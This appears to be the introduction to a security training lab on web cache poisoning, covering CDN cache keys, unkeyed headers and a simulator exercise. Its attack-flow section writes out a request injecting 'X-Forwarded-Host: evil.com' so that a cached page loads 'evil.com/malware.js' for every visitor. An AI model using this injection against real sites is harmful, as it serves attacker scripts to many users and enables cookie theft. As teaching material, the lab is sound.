Web Cache Poisoning — Serving Malware at Scale
What is a Web Cache?
Modern web applications rely on caching layers to achieve performance at scale. When a user requests a page, rather than generating a fresh response from the origin server on every request, an intermediate cache — typically a Content Delivery Network (CDN) such as Cloudflare, Fastly, or Akamai — stores the response and serves it directly to subsequent requesters.
Caches are positioned between the user's browser and the origin server. A single cached response can be served to thousands or millions of users, which is precisely what makes cache poisoning so dangerous: compromise the cache once, and every user is affected until the entry expires or is flushed.
How CDN Caching Works
When a CDN receives a request, it performs the following logic:
- Compute a cache key from the request — typically the HTTP method, the host, and the URL path (and sometimes selected query parameters).
- Look up the cache key. If a stored entry exists and has not expired, return the cached response immediately (a cache HIT).
- If no entry exists or the TTL has elapsed, forward the request to the origin server, receive the response, store it under the computed cache key, and return it to the requester (a cache MISS).
The Time-To-Live (TTL) controls how long the response remains cached. Once stored, the cached response is returned verbatim to every subsequent requester whose request matches the same cache key — regardless of any differences in their request headers.
What is a Cache Key?
The cache key is the identifier used to store and retrieve a cached response. A typical cache key might be:
GET https://target.com/homeNotice what is not in this key: request headers such as Cookie, Accept-Language, or X-Forwarded-Host. These are inputs to the response (the origin server may read them and alter the HTML it returns), but they are not factored into how the cache indexes the stored response.
Unkeyed Inputs — The Root Cause
An unkeyed input is any part of an HTTP request that:
- Influences the content of the origin server's response, and
- Is not included in the cache key.
Common unkeyed inputs include:
| Header | What it does | Why servers reflect it |
|---|---|---|
X-Forwarded-Host | Tells the server the original Host header seen by the client | Reverse proxies overwrite Host; servers use X-Forwarded-Host to build absolute URLs |
X-Forwarded-Scheme | Declares the client-facing protocol (http or https) | Servers redirect to the correct scheme |
X-Host | Alternate form of X-Forwarded-Host | Framework-specific aliases |
Forwarded | RFC 7239 standard header combining host, scheme, and for | Standards-compliant proxies |
The X-Forwarded-Host Header
When a request passes through a reverse proxy or load balancer, the Host header is typically rewritten to an internal hostname. The original host that the client used is preserved in X-Forwarded-Host.
Many web frameworks and content management systems read X-Forwarded-Host to construct absolute URLs embedded in the page — for example, the base URL for JavaScript assets:
<script src="https://[value of X-Forwarded-Host]/static/app.js"></script>If the server reflects this header verbatim into the response HTML and the CDN does not include X-Forwarded-Host in the cache key, an attacker can inject an arbitrary value.
The Attack Flow
A web cache poisoning attack proceeds in three phases:
Phase 1 — Attacker poisons the cache
Attacker → CDN → Origin server
Request: GET /home HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com ← injected
Origin server reflects the value:
Response: <script src="https://evil.com/malware.js"></script>
CDN stores this response under cache key: GET /home
(X-Forwarded-Host is NOT part of the key)
Phase 2 — Cache is poisoned
Cache key: GET /home → poisoned response (TTL: 3600 s)
Phase 3 — Victims served the malicious page
Victim → CDN
Request: GET /home HTTP/1.1
Host: target.com
(no X-Forwarded-Host header)
CDN returns the stored poisoned response — every victim receives:
<script src="https://evil.com/malware.js"></script>The attacker's server at evil.com serves a JavaScript payload that can steal session cookies, redirect users, capture keystrokes, or perform any client-side attack.
Why This is Distinct from XSS and CSRF
- Reflected XSS requires the victim to click a specially crafted link. The malicious payload is in the URL. Each victim must be individually targeted.
- Stored XSS persists in a database and affects users who view the infected record. It is limited to that application's own storage.
- Web cache poisoning stores the malicious response in the CDN's cache. No special link is needed; every user who visits the normal, legitimate URL receives the attack payload. A single poisoning request can affect the entire user population simultaneously.
- CSRF causes authenticated users to perform unintended actions. Web cache poisoning delivers attacker-controlled content passively.
Real-World Research
In 2018, James Kettle of PortSwigger Research published "Practical Web Cache Poisoning", demonstrating that major CDN vendors and popular applications were vulnerable. The research revealed vulnerabilities in Cloudflare, Fastly, Amazon CloudFront, and numerous web frameworks. The techniques developed — including the Param Miner Burp Suite extension — are now standard in web application security assessments.
Subsequent research in 2020 expanded coverage to web cache deception (a related but distinct attack), request smuggling-assisted cache poisoning, and parameter cloaking techniques.
Lab Goal
In this lab you will use an interactive simulator to:
- Send an attacker request carrying a crafted
X-Forwarded-Hostheader to the target application. - Observe how the CDN stores the poisoned response under the normal cache key.
- Simulate victim visits to confirm that the malicious content is served from the cache.
- Identify the header responsible for the poisoning and understand why it is effective.